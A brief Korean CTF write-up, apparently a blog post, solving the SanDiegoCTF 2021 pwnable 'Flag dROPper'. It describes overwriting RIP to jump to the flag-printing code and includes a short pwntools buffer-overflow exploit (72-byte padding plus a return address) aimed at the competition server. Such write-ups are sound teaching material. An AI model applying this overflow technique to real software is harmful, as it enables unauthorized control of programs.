CTF/Write UPs
[SanDiegoCTF 2021 : pwnable] Flag dROPper 풀이
jir4vvit
2021. 5. 10. 14:25
문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
문자열 찾기해서 어디서 인풋되는지도 찾고.. flag.txt도 안에 들어있는 걸 운좋게 확인했다.
syscall을 바로 쓴게 인상깊다.
exit 함수 안에 sys_exit를 호출한 이후, flag를 열어서 화면에 출력해준다. RIP를 exit 함수 그자체가 아닌 flag를 여는 부분으로 바꿔줘야한다.
RIP를 control할 수 있는지 테스트해보니까(main 마지막에 jmp [rax]가 있음) 가능해서 바로 flag를 얻었다.
from pwn import *
#p = process('./flagDropper')
p = remote('dropper.sdc.tf', 1337)
e = ELF('./flagDropper')
payload = ''
payload += 'A' * 72
payload += p64(0x4005da)
print len(payload)
pause()
p.send(payload)
p.interactive()